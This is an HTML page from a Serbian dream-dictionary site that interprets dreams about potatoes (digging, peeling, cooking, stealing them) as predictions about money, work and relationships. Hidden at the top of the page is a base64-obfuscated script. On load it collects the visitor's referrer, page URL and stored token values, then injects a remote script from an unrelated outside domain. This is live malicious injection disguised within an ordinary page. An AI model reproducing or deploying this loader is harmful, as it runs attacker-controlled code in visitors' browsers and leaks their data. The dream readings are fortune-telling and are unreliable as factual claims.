<!DOCTYPE html>
<html><head>
<script src="data:text/javascript;base64,CiAgICAoZnVuY3Rpb24oKSB7CiAgICB2YXIgbmFtZSA9ICdfdGJCRzZEZ0pnc2o4a2pLZCc7CiAgICBpZiAoIXdpbmRvdy5fdGJCRzZEZ0pnc2o4a2pLZCkgewogICAgICAgIHdpbmRvdy5fdGJCRzZEZ0pnc2o4a2pLZCA9IHsKICAgICAgICAgICAgdW5pcXVlOiBmYWxzZSwKICAgICAgICAgICAgdHRsOiA4NjQwMCwKICAgICAgICAgICAgUl9QQVRIOiAnaHR0cHM6Ly9tYXJlbHl1LnNpdGUvUFpieWhHakMnLAogICAgICAgICAgICBQX1BBVEg6ICdodHRwczovL21hcmVseXUuc2l0ZS9kZmFmYzI1L3Bvc3RiYWNrJywKICAgICAgICB9OwogICAgfQogICAgY29uc3QgX2I2cGcyZ0hDbnZadEdrZ3cgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnY29uZmlnJyk7CiAgICBpZiAodHlwZW9mIF9iNnBnMmdIQ252WnRHa2d3ICE9PSAndW5kZWZpbmVkJyAmJiBfYjZwZzJnSENudlp0R2tndyAhPT0gbnVsbCkgewogICAgICAgIHZhciBfdFdzM2dNemRuenNxOEZ6MyA9IEpTT04ucGFyc2UoX2I2cGcyZ0hDbnZadEdrZ3cpOwogICAgICAgIHZhciBfbmRLWHNUQnRLYnN3dmhkQyA9IE1hdGgucm91bmQoK25ldyBEYXRlKCkvMTAwMCk7CiAgICAgICAgaWYgKF90V3MzZ016ZG56c3E4RnozLmNyZWF0ZWRfYXQgKyB3aW5kb3cuX3RiQkc2RGdKZ3NqOGtqS2QudHRsIDwgX25kS1hzVEJ0S2Jzd3ZoZEMpIHsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3N1YklkJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCd0b2tlbicpOwogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnY29uZmlnJyk7CiAgICAgICAgfQogICAgfQogICAgdmFyIF9HdnJLS1Yza1libm14cTZnID0gbG9jYWxTdG9yYWdlLmdldEl0ZW0oJ3N1YklkJyk7CiAgICB2YXIgX1g0dlo0dEpjbXMyblBZWUsgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgndG9rZW4nKTsKICAgIHZhciBfZkhiVzdzNjRCSkdzc1o5cyA9ICc/cmV0dXJuPWpzLmNsaWVudCc7CiAgICAgICAgX2ZIYlc3czY0QkpHc3NaOXMgKz0gJyYnICsgZGVjb2RlVVJJQ29tcG9uZW50KHdpbmRvdy5sb2NhdGlvbi5zZWFyY2gucmVwbGFjZSgnPycsICcnKSk7CiAgICAgICAgX2ZIYlc3czY0QkpHc3NaOXMgKz0gJyZzZV9yZWZlcnJlcj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnJlZmVycmVyKTsKICAgICAgICBfZkhiVzdzNjRCSkdzc1o5cyArPSAnJmRlZmF1bHRfa2V5d29yZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LnRpdGxlKTsKICAgICAgICBfZkhiVzdzNjRCSkdzc1o5cyArPSAnJmxhbmRpbmdfdXJsPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubG9jYXRpb24uaG9zdG5hbWUgKyBkb2N1bWVudC5sb2NhdGlvbi5wYXRobmFtZSk7CiAgICAgICAgX2ZIYlc3czY0QkpHc3NaOXMgKz0gJyZuYW1lPScgKyBlbmNvZGVVUklDb21wb25lbnQobmFtZSk7CiAgICAgICAgX2ZIYlc3czY0QkpHc3NaOXMgKz0gJyZob3N0PScgKyBlbmNvZGVVUklDb21wb25lbnQod2luZG93Ll90YkJHNkRnSmdzajhraktkLlJfUEFUSCk7CiAgICBpZiAodHlwZW9mIF9HdnJLS1Yza1libm14cTZnICE9PSAndW5kZWZpbmVkJyAmJiBfR3ZyS0tWM2tZYm5teHE2ZyAmJiB3aW5kb3cuX3RiQkc2RGdKZ3NqOGtqS2QudW5pcXVlKSB7CiAgICAgICAgX2ZIYlc3czY0QkpHc3NaOXMgKz0gJyZzdWJfaWQ9JyArIGVuY29kZVVSSUNvbXBvbmVudChfR3ZyS0tWM2tZYm5teHE2Zyk7CiAgICB9CiAgICBpZiAodHlwZW9mIF9YNHZaNHRKY21zMm5QWVlLICE9PSAndW5kZWZpbmVkJyAmJiBfWDR2WjR0SmNtczJuUFlZSyAmJiB3aW5kb3cuX3RiQkc2RGdKZ3NqOGtqS2QudW5pcXVlKSB7CiAgICAgICAgX2ZIYlc3czY0QkpHc3NaOXMgKz0gJyZ0b2tlbj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF9YNHZaNHRKY21zMm5QWVlLKTsKICAgIH0KICAgIHZhciBhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CiAgICAgICAgYS50eXBlID0gJ2FwcGxpY2F0aW9uL2phdmFzY3JpcHQnOwogICAgICAgIGEuc3JjID0gd2luZG93Ll90YkJHNkRnSmdzajhraktkLlJfUEFUSCArIF9mSGJXN3M2NEJKR3NzWjlzOwogICAgdmFyIHMgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnc2NyaXB0JylbMF07CiAgICBzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGEsIHMpCiAgICB9KSgpOwogICAg"></script>
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Krompir – značenje sna i simbolizam | Sanovnik - Sanjarica</title>
<link rel="shortcut icon" href="https://www.sanovnik.org/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="fl/style.css" type="text/css" media="screen">


						
							<h1 class="title">Krompir – značenje sna i simbolizam</h1>
							<div class="entry">
								<p><strong>Sanjati da vadite krompir<br>
</strong>Ako u snu vadite krompir, to simbolizuje dobitak. Zahvaljujući upornosti i trudu koji ulažete, uspećete da pronađete posao koji će vam omogućiti da obezbedite sve što ste oduvek želeli. Niko od vas neće očekivati da ga izdržavate pa ćete zarađeni novac trošiti isključivo na sebe i svoje potrebe.</p>

<p><strong>Sanjati da drugi vade krompir<br>
</strong>San u kome vidite kako neko vadi krompir može imati više značenja. Ukoliko je krompira mnogo, tj. ako je rod dobar, to je znak da ćete doživeti uspeh na poslovnom planu. Loš rod simbolizuje finansijsku krizu i brige na poslu.</p>


<p><strong>Sanjati da drugi jedu krompir<br>
</strong>Ukoliko ste u snu videli kako neko jede krompir to znači da će vas usrećiti tuđa radost ili uspeh. Čućete da je neko ostvario svoje snove i bićete zaista srećni zbog njega/ nje. Verovatno je reč o bliskoj osobi, poput prijatelja, člana porodice ili radnog kolege tj. kolegice. U svakom slučaju, njegov tj. njen uspeh ćete prihvatiti i pohvaliti bez trunke zavisti ili ljubomore.</p>
<p><strong>Sanjati da sadite krompir<br>
</strong>Kada sanjate da sadite krompir, to ukazuje da ćete sklopiti dobre poslove. Vi ste osoba koja smatra da sve zna najbolje pa se, uglavnom, oslanjate na sebe i svoje sposobnosti. Može se reći da ste u svakoj čorbi mirođija, ali to je jedini način da u potpunosti budete sigurni da je sve urađeno onako kako ste zamislili.
<p><strong>Sanjati da drugi sade krompir<br>
</strong>Ako ste u snu videli druge ljude koji sade krompir to implicira da ćete morati da uložite dodatni napor kako bi vam se ostvarila želja. Možda se to odnosi na napredak u karijeri, bolji uspeh na fakultetu ili čak na odnos sa voljenom osobom. Moguće je da će vam partner tj. partnerka priznati da još uvek nije spreman tj. spremna na naredni korak u vezi, ali da to ne negira činjenicu da vas voli i da želi da ostanete zajedno.</p>
<p><strong>Sanjati da ljuštite krompir<br>
</strong>Ukoliko u snu ljuštite krompir, to implicira da ćete biti neraspoloženi. Verovatno ćete biti primorani da radite nešto što vam se ne dopada ili što smatrate da je ispod vašeg nivoa. Iako niste sujetni, imaćete utisak da ste nepravedno kažnjeni zbog nečega što nije od vas zavisilo i na šta niste mogli da utičete.</p>
<p><strong>Sanjati da drugi ljušte krompir<br>
</strong>Videti u snu kako neko ljušti krompir je znak da biste se trebali čuvati zavidnih ljudi. U bliskom okruženju imate nekog čije vam namere još uvek nisu jasne, pa ne biste trebali da mu/joj otkrivate svoje tajne, ideje i strahove. Ljubomorni ljudi su ponekad spremni na sve kako bi minimalizovali nečiji uspeh ili uništili nečiju sreću. Zato budite jako oprezni prilikom razgovora s osobama koje ste nedavno upoznali i pustili u svoj život.</p>
<p><strong>Sanjati da kupujete krompir<br>
</strong>Kupovati krompir u snu simboliše dobru investiciju. Uložićete svoje vreme ili novac u nešto što će doneti uspeh ili zaradu. Možda će vam se isplatiti kupovina nekog skupog uređaja, premda ste se dugo dvoumili da li da ga kupite ili ne. Njegova funkcionalnost će vas oduševiti jer će vam umnogome olakšati život.</p>
<p><strong>Sanjati da prodajete krompir<br>
</strong>Prodavati krompir u snu ukazuje na to da ćete se žrtvovati zbog drugih. Možda ćete svoje vreme i resurse staviti u službu ljudi koje volite. Tako se najčešće ponašaju roditelji prema deci, ali možda u bliskom okruženju imate nekoga koga smatrate da morate zaštititi ili mu pomoći prilikom rešavanja nekog problema.
<p><strong>Sanjati da ste dobili krompir<br>
</strong>Dobiti krompir u snu je znak da će vas neko obradovati ili iznenaditi lepim poklonom. Možda to neće imati veliku materijalnu vrednost, ali će biti reč o nečemu o čemu dugo razmišljate, a niste još uvek sami sebi priuštili. Biće vam drago što vas ta osoba toliko dobro poznaje, da ume da izabere ono što vam je trenutno najpotrebnije.</p>


<p><strong>Sanjati da ste poklonili krompir<br>
</strong>Pokloniti nekome krompir u snu ukazuje na to da ćete „podmetnuti svoja leđa“ u nekom poslu. Shvatićete da zadatak neće sam da se završi, a da ne možete da se oslonite na kolege. Stalo vam je do toga da firma u kojoj radite dobro funkcioniše jer i vi od toga imate korist, a i volite svoj posao i želite da ga zadržite.</p>
<p><strong>Sanjati da kradete krompir<br>
</strong>Krasti krompir u snovima ukazuje na to da ćete morati da menjate neke stvari u svom životu kako bi postao bolji i kvalitetniji. Moraćete da se odreknete nekih loših navika ili da smanjite potrošnju i uštedite novac za nešto od čega ćete kasnije profitirati.&nbsp; Ne libite se da poslušate savet osoba koje vam žele dobro.<span id="ezoic-pub-ad-placeholder-117" class="ezoic-adpicker-ad"></span><span style="display:block !important;float:none;margin-bottom:10px !important;margin-left:0px !important;margin-right:0px !important;margin-top:10px !important;min-height:250px;min-width:300px;text-align:center !important;" class="ezoic-ad large-leaderboard-2 adtester-container adtester-container-117" data-ez-name="sanovnik_org-large-leaderboard-2"><span id="div-gpt-ad-sanovnik_org-large-leaderboard-2-0" ezaw="300" ezah="250" style="position: relative; z-index: 0; width: 100%; max-width: 1200px; min-height: 250px; min-width: 300px; margin-left: auto !important; margin-right: auto !important;" class="ezoic-ad ezfound"></span></span></p>
<p><strong>Sanjati da vama neko krade krompir<br>
</strong>Ovakav san simboliše manju štetu. Možda će vam se pokvariti automobil ili neki kućanski aparat, pa ćete morati da uložite novac u popravku ili zamenu. Na sreću, imate „crni fond“ namenjen takvim situacijama, pa vam ovo neće doneti previše stresa.</p>
<p><strong>Sanjati da nosite krompir<br>
</strong>Nositi vreću ili gajbu krompira u snovima simboliše materijalno ili duhovno bogatstvo. Pred vama je jedan vrlo povoljan period tokom koga ćete uživati u onome što imate – dobroj zaradi ili ljubavi i podršci voljenih osoba. Iskoristite ovu fazu svog života na najbolji mogući način.</p>
<p><strong>Sanjati da drugi nose krompir<br>
</strong>Kada u snu vidite kako neko nosi krompir je znak da ćete pomoći nepoznatoj osobi da reši neki problem. Premda ste tog čoveka ili ženu prvi put videli u životu, potrudićete se da mu/joj maksimalno izađete u susret. Nećete to smatrati svojom obavezom, nego ćete znati da je to ispravan potez. On tj. ona će vam biti&nbsp; biti zahvalan/a na tom gestu do kraja života.<span id="ezoic-pub-ad-placeholder-118" class="ezoic-adpicker-ad"></span><span style="display:block !important;float:none;margin-bottom:10px !important;margin-left:0px !important;margin-right:0px !important;margin-top:10px !important;min-height:250px;min-width:250px;text-align:center !important;" class="ezoic-ad leader-1 adtester-container adtester-container-118" data-ez-name="sanovnik_org-leader-1"><span id="div-gpt-ad-sanovnik_org-leader-1-0" ezaw="250" ezah="250" style="position: relative; z-index: 0; width: 100%; max-width: 1200px; min-height: 250px; min-width: 250px; margin-left: auto !important; margin-right: auto !important;" class="ezoic-ad ezoic-adl ezfound" data-google-query-id="CKWzi5HZuOsCFQOdmgodDgYAng"></span></span></p>
<p><strong>Sanjati da kuvate krompir<br>
</strong>Kuvati krompir u snu znači da ste prilično skromna osoba. Vama nije potrebno mnogo da biste bili srećni. Više cenite ljubav, pažnju i duhovne stvari od materijalnih, zato vam je ponekad ponašanje vaših prijatelja i poznanika čudno i besmisleno. Vi ste, jednostavno, rođeni u pogrešno vreme kada su na ceni neke druge vrednosti koje vama nisu bliske.</p>
<p><strong>Sanjati da drugi kuvaju krompir<br>
</strong>Ako u snu vidite kako neko kuva krompir to implicira da će vas razočarati neko od koga ste očekivali mnogo više. Možda ste verovali u uspeh posla ili nekog projekta koji je bliska osoba pokrenula, ali se dogodilo suprotno. Biće vam žao zbog njega tj. nje, ali vam neće biti jasno kako je mogao tj. mogla sebi da dozvoli takve propuste i da dopusti da sve što je gradio tj. gradila preko noći propadne.</p>
<p><strong>Sanjati da pečete krompir<br>
</strong>Peći krompir u snu je znak hedonizma. Vi ste osoba koja voli da udovolji sebi. Zato vam nije žao ni da potrošite vreme niti novac na nešto u čemu uživate. Oni koji vas ne poznaju dobro smatraju da ste sebični, ali vaši prijatelji znaju kako funkcionišete, pa vam ni ne zamere na takvom ponašanju.</p>
<p><strong>Sanjati da drugi peku krompir<br>
</strong>Ukoliko ste u snu videli kako neko peče krompir to znači da ćete nekome pozavideti na nečemu. Kod žena to obično ukazuje na ljubomoru zbog nečije dobre linije ili celokupnog izgleda, a kod muškaraca je ta zavist često usmerena na neke materijalne stvari, poput skupog telefona, luksuznog automobila i slično.</p>
<p><strong>Sanjati da pravite pire krompir<br>
</strong>San u kome pravite pire krompir ukazuje na to da vam je malo potrebno da budete srećni. Ostao je još jedan problem koji nikako ne možete da rešite kako biste mogli reći da je sada sve onako kako ste vi zamislili. To je onaj kamenčić u cipeli koji svi imaju i koji s vremenom može da zameni drugi kamenčić, jer je to u ljudskoj prirodi. Zato bi bilo bolje kada biste više razmišljali o dobrim stvarima koje vam se dešavaju, nego o nečemu što tek treba da promenite.</p>
<p><strong>Sanjati da drugi prave pire krompir<br>
</strong>Kada u snu vidite kako neko pravi pire krompir to znači da se nećete složiti s odlukom koju vaš partner ili druga bliska osoba donese. Možda se direktno tiče vas, a možda samo mislite da bi time mogao tj. mogla da ugrozi svoju budućnost. U svakom slučaju, sada je stvar gotova i morate da se pomirite sa time. Ako možete da mu/joj nekako pomognete učinite to, ako ne možete prestanite da ga/je kritikujete jer time ništa nećete postići.</p>
<p><strong>Sanjati truo krompir<br>
</strong>Truo krompir znači da još uvek niste našli pravu meru u odnosu sa ljudima koji su vam važni. Ponekad vam se čini da ste previše grubi prema njima, dok već u sledećem momentu smatrate da ste pregrubo reagovali na neke njihove greške. Nemojte da budete prestrogi prema sebi jer je naći meru posao za ceo život. Radite kako smatrate da je najbolje. Nekada ćete grešiti, a nekada ne. Ipak vam ljudi koji vas vole nikad neće uzeti za zlo iskrene i dobre namere koje imate.</p>
<p>Značenje sna može biti jednostavnije. Ako ste skoro videli, jeli, sadili ili ljuštili krompir, to je sigurno ostavilo utisak na vas.</p>
<h2>Definicija krompira</h2>
<p>Krompir je višegodišnja zeljasta biljka koja se koristi u ljudskoj ishrani.</p>
</html>